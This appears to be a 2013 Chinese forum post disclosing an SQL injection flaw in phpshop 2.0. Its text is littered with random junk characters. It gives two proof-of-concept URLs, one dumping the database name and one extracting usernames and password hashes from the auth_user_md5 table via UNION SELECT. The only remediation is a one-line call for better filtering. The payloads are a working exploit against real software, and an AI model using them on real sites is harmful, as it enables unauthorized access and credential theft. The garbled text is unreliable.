标题 : phpshop 2.0 SQL Injection Vulnerability7 R: m, k7 g/ I6 Q. Q1 w& p
. O6 d a: m* m& g" E5 S3 K作者 : By onestree0 Y9 C" }! n0 D1 `, l
下载地址 : http://code.google.com/p/phpshop/downloads/list# K9 a# E) G' w/ e1 R' ~
测试地址: windows 7 / ubuntu5 z' @& [- Y. [1 M
6 _" O$ M1 V$ \" y
' j8 M' j1 U9 E) k3 q
SQLi p0c:
t5 r& I7 y1 e( z; J
2 @- y1 H7 M+ S==================2 `8 x, }' i" C' G7 O1 g, f
/ A/ l# l: K$ U5 _http://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
+ Z! O- A' Y8 g% c5 _ Q& O) \union select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --
6 M. q$ z) U/ O" H" h % n4 i3 ]8 Z% d5 l
http://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--
) K) g0 h; Z( M# W" v3 X2 Q: n2 E+ I; o- c
修复：* Q x; i0 J, N) ]5 Z
加强过滤
# r7 B0 d3 z) A. ~( U& S4 E n: ~8 t9 N$ O: M9 R
+ A' X4 ^% R2 p, a7 Q B( H2 c
|
发表于 2013-1-18 18:24:10
收藏
支持
反对